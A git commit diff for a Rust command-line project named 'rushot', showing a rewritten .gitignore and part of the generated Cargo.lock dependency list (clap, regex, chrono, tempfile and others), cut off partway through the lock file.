Publish rush source code
This commit is contained in:
parent
fcd88cfc1e
commit
7a3478dfdd
10 changed files with 2827 additions and 19 deletions
25
.gitignore
vendored
25
.gitignore
vendored
|
|
@ -1,22 +1,11 @@
|
||||||
# ---> Rust
|
__pycache__/
|
||||||
# Generated by Cargo
|
*.py[cod]
|
||||||
# will have compiled files and executables
|
*$py.class
|
||||||
debug/
|
|
||||||
target/
|
|
||||||
|
|
||||||
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
|
reports/
|
||||||
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
|
|
||||||
Cargo.lock
|
|
||||||
|
|
||||||
# These are backup files generated by rustfmt
|
|
||||||
**/*.rs.bk
|
|
||||||
|
|
||||||
# MSVC Windows builds of rustc generate these, which store debugging information
|
|
||||||
*.pdb
|
|
||||||
|
|
||||||
# RustRover
|
# Added by cargo
|
||||||
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
|
|
||||||
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
|
/target
|
||||||
# and can be added to the global gitignore or merged into this file. For a more nuclear
|
|
||||||
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
|
|
||||||
#.idea/
|
|
||||||
|
|
|
||||||
683
Cargo.lock
generated
Normal file
683
Cargo.lock
generated
Normal file
|
|
@ -0,0 +1,683 @@
|
||||||
|
# This file is automatically @generated by Cargo.
|
||||||
|
# It is not intended for manual editing.
|
||||||
|
version = 4
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aho-corasick"
|
||||||
|
version = "1.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301"
|
||||||
|
dependencies = [
|
||||||
|
"memchr",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "android_system_properties"
|
||||||
|
version = "0.1.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstream"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"anstyle-parse",
|
||||||
|
"anstyle-query",
|
||||||
|
"anstyle-wincon",
|
||||||
|
"colorchoice",
|
||||||
|
"is_terminal_polyfill",
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle"
|
||||||
|
version = "1.0.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-parse"
|
||||||
|
version = "1.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e"
|
||||||
|
dependencies = [
|
||||||
|
"utf8parse",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-query"
|
||||||
|
version = "1.1.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "anstyle-wincon"
|
||||||
|
version = "3.0.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d"
|
||||||
|
dependencies = [
|
||||||
|
"anstyle",
|
||||||
|
"once_cell_polyfill",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "autocfg"
|
||||||
|
version = "1.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bitflags"
|
||||||
|
version = "2.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b588b76d00fde79687d7646a9b5bdf3cc0f655e0bbd080335a95d7e96f3587da"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bumpalo"
|
||||||
|
version = "3.20.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cc"
|
||||||
|
version = "1.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5add81bb678e6cb321aff7fa0dc7689ad82b112dbc032cea19f91d6b8e3582b9"
|
||||||
|
dependencies = [
|
||||||
|
"find-msvc-tools",
|
||||||
|
"shlex",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg-if"
|
||||||
|
version = "1.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "chrono"
|
||||||
|
version = "0.4.45"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327"
|
||||||
|
dependencies = [
|
||||||
|
"iana-time-zone",
|
||||||
|
"js-sys",
|
||||||
|
"num-traits",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-link",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap"
|
||||||
|
version = "4.6.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d91e0c145792ef73a6ad36d27c75ac09f1832222a3c209689d90f534685ee5b7"
|
||||||
|
dependencies = [
|
||||||
|
"clap_builder",
|
||||||
|
"clap_derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_builder"
|
||||||
|
version = "4.6.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f09628afdcc538b57f3c6341e9c8e9970f18e4a481690a64974d7023bd33548b"
|
||||||
|
dependencies = [
|
||||||
|
"anstream",
|
||||||
|
"anstyle",
|
||||||
|
"clap_lex",
|
||||||
|
"strsim",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_derive"
|
||||||
|
version = "4.6.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d012d2b9d65aca7f18f4d9878a045bc17899bba951561ba5ec3c2ba1eed9a061"
|
||||||
|
dependencies = [
|
||||||
|
"heck",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 3.0.3",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "clap_lex"
|
||||||
|
version = "1.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colorchoice"
|
||||||
|
version = "1.0.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "colored"
|
||||||
|
version = "2.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "117725a109d387c937a1533ce01b450cbde6b88abceea8473c4d7a85853cda3c"
|
||||||
|
dependencies = [
|
||||||
|
"lazy_static",
|
||||||
|
"windows-sys 0.59.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "core-foundation-sys"
|
||||||
|
version = "0.8.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "errno"
|
||||||
|
version = "0.3.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "fastrand"
|
||||||
|
version = "2.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "find-msvc-tools"
|
||||||
|
version = "0.1.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-core"
|
||||||
|
version = "0.3.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2cd50c473c80f6d7c3670a752354b8e569b1a7cbfdc0419ec88e5edad85e0dc7"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-task"
|
||||||
|
version = "0.3.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b231ed28831efb4a61a08580c4bc233ec56bc009f4cd8f52da2c3cb97df0c109"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "futures-util"
|
||||||
|
version = "0.3.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a77a90a256fce34da66415271e30f94ee91c57b04b8a2c042d9cf3220179deaa"
|
||||||
|
dependencies = [
|
||||||
|
"futures-core",
|
||||||
|
"futures-task",
|
||||||
|
"pin-project-lite",
|
||||||
|
"slab",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "getrandom"
|
||||||
|
version = "0.4.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"r-efi",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "heck"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone"
|
||||||
|
version = "0.1.65"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e31bc9ad994ba00e440a8aa5c9ef0ec67d5cb5e5cb0cc7f8b744a35b389cc470"
|
||||||
|
dependencies = [
|
||||||
|
"android_system_properties",
|
||||||
|
"core-foundation-sys",
|
||||||
|
"iana-time-zone-haiku",
|
||||||
|
"js-sys",
|
||||||
|
"log",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"windows-core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "iana-time-zone-haiku"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "is_terminal_polyfill"
|
||||||
|
version = "1.70.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "js-sys"
|
||||||
|
version = "0.3.103"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "53b44bfcdb3f8d5837a46dae1ca9660a837176eee74a28b229bc626816589102"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"futures-util",
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "lazy_static"
|
||||||
|
version = "1.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libc"
|
||||||
|
version = "0.2.189"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "linux-raw-sys"
|
||||||
|
version = "0.12.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "log"
|
||||||
|
version = "0.4.33"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "memchr"
|
||||||
|
version = "2.8.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "num-traits"
|
||||||
|
version = "0.2.19"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
|
||||||
|
dependencies = [
|
||||||
|
"autocfg",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell"
|
||||||
|
version = "1.21.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "once_cell_polyfill"
|
||||||
|
version = "1.70.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "pin-project-lite"
|
||||||
|
version = "0.2.17"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "proc-macro2"
|
||||||
|
version = "1.0.107"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "quote"
|
||||||
|
version = "1.0.47"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "r-efi"
|
||||||
|
version = "6.0.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex"
|
||||||
|
version = "1.13.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-automata",
|
||||||
|
"regex-syntax",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-automata"
|
||||||
|
version = "0.4.16"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8fcfdb36bda0c880c5931cdc7a2bcdc8ba4556847b9d912bca70bc94708711ad"
|
||||||
|
dependencies = [
|
||||||
|
"aho-corasick",
|
||||||
|
"memchr",
|
||||||
|
"regex-syntax",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "regex-syntax"
|
||||||
|
version = "0.8.11"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rushot"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"chrono",
|
||||||
|
"clap",
|
||||||
|
"colored",
|
||||||
|
"libc",
|
||||||
|
"regex",
|
||||||
|
"tempfile",
|
||||||
|
"unicode-width",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix"
|
||||||
|
version = "1.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags",
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"linux-raw-sys",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.23"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "shlex"
|
||||||
|
version = "2.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "slab"
|
||||||
|
version = "0.4.12"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strsim"
|
||||||
|
version = "0.11.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "2.0.119"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "syn"
|
||||||
|
version = "3.0.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "53e9bae58849f64dfa4f5d5ae372c8341f7305f82a3868709269343628b659a3"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tempfile"
|
||||||
|
version = "3.27.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
|
||||||
|
dependencies = [
|
||||||
|
"fastrand",
|
||||||
|
"getrandom",
|
||||||
|
"once_cell",
|
||||||
|
"rustix",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-ident"
|
||||||
|
version = "1.0.24"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "unicode-width"
|
||||||
|
version = "0.1.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "utf8parse"
|
||||||
|
version = "0.2.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen"
|
||||||
|
version = "0.2.126"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"once_cell",
|
||||||
|
"rustversion",
|
||||||
|
"wasm-bindgen-macro",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro"
|
||||||
|
version = "0.2.126"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1"
|
||||||
|
dependencies = [
|
||||||
|
"quote",
|
||||||
|
"wasm-bindgen-macro-support",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-macro-support"
|
||||||
|
version = "0.2.126"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e"
|
||||||
|
dependencies = [
|
||||||
|
"bumpalo",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.119",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-shared"
|
||||||
|
version = "0.2.126"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24"
|
||||||
|
dependencies = [
|
||||||
|
"unicode-ident",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-core"
|
||||||
|
version = "0.62.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"
|
||||||
|
dependencies = [
|
||||||
|
"windows-implement",
|
||||||
|
"windows-interface",
|
||||||
|
"windows-link",
|
||||||
|
"windows-result",
|
||||||
|
"windows-strings",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-implement"
|
||||||
|
version = "0.60.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.119",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-interface"
|
||||||
|
version = "0.59.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn 2.0.119",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-link"
|
||||||
|
version = "0.2.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-result"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5"
|
||||||
|
dependencies = [
|
||||||
|
"windows-link",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-strings"
|
||||||
|
version = "0.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091"
|
||||||
|
dependencies = [
|
||||||
|
"windows-link",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.59.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
|
||||||
|
dependencies = [
|
||||||
|
"windows-targets",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-sys"
|
||||||
|
version = "0.61.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||||
|
dependencies = [
|
||||||
|
"windows-link",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-targets"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
|
||||||
|
dependencies = [
|
||||||
|
"windows_aarch64_gnullvm",
|
||||||
|
"windows_aarch64_msvc",
|
||||||
|
"windows_i686_gnu",
|
||||||
|
"windows_i686_gnullvm",
|
||||||
|
"windows_i686_msvc",
|
||||||
|
"windows_x86_64_gnu",
|
||||||
|
"windows_x86_64_gnullvm",
|
||||||
|
"windows_x86_64_msvc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_aarch64_msvc"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnu"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows_i686_gnullvm"
|
||||||
|
version = "0.52.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||||
|
|
||||||
|
[[package]]
|
